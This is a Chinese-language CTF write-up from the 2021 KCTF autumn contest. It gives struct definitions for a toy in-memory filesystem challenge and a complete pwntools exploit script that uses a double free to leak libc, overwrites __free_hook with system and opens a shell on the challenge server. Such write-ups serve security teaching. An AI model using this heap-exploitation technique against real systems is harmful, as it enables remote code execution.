出题团队简介
战队成员如下:
赛题设计思路
赛题解析
本赛题解析由看雪论坛[email protected]给出:
struct name{
char file_name[0x20];
};
struct data{
long long is_not_dir;
data *pre_dir;//文件这里标为1,目录标为0
data *son[16];//普通文件这里不使用
name *file_name;
text *file_data;//目录不具有此项目
}
struct text{
char text[?];
}
from pwn import *
#context.log_level='debug'
context.arch='amd64'
context.os='linux'
libc_version='2.27'
global p
def conn(x,file_name,port=9999,ip='101.35.172.231'):
if x:
p=process(file_name)
else:
p=remote(ip,port)
return ELF(file_name),ELF(file_name),p
def ls(name):
p.sendlineafter(b'$',b'ls')
p.sendlineafter(b'path> ',name)
def mkdir(name):
p.sendlineafter(b'$',b'mkdir')
p.sendlineafter(b'name',name)
def rm(name):
p.sendlineafter(b'$',b'rm')
p.sendlineafter(b'filename> ',name)
def cd(name):
p.sendlineafter(b'$',b'cd')
p.sendlineafter(b'path> ',name)
def echo(msg,red,path=b'./'):
p.sendlineafter(b'$',b'echo')
p.sendafter(b'arg>',msg)
p.sendlineafter(b'redirect?>',red)
if red==b'Y' or red==b'y':
p.sendlineafter(b'path> ',path)
def touch(name):
p.sendlineafter(b'$',b'touch')
p.sendlineafter(b'filename> ',name)
def pwn():
global p
elf,libc,p=conn(0,'./chall',port=10000)
libc=ELF('./libc.so.6')
mkdir(b'dir')
cd(b'dir')
touch(b'flag')
echo(b'a'*0x10+b'\n',b'y',b'flag')
cd(b'..')
for i in range(2):
rm(b'./dir/flag')
gdb.attach(p)
echo(p16(0x3260)+b'\n',b'y','dir/flag')
touch(b'flag1')
echo(b'a'*0x4ff8+p64(0xf1),b'n')
echo(b'a'*8+b'\n',b'y',b'flag1')
touch(b'flag2')
touch(b'flag3')
touch(b'flag4')
gdb.attach(p)
echo(b'/bin/sh\0'+b'\n',b'y',b'flag2')
for i in range(7):
touch(str(i))
echo(b'a'*0xe0+b'\n',b'y',str(i))
for i in range(7):
rm(str(i))
rm(b'flag2')
echo(b'a'*0x5000,b'n')
#p.recvuntil(b'\x7f')
libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
success('libc_addr:'+hex(libc_addr))
rm('dir/flag')
echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag')
echo(b'/bin/sh\n',b'y',b'flag3')
echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4')
rm(b'flag3')
#gdb.attach(p)
p.interactive()
while True:
try:
pwn()
except:
continue
往期解析
1、看雪·众安 2021 KCTF 秋季赛 | 第二题设计思路及解析
2、看雪·众安 2021 KCTF 秋季赛 | 第三题设计思路及解析
第七题《声名远扬》正在火热进行中,
球分享
球点赞
球在看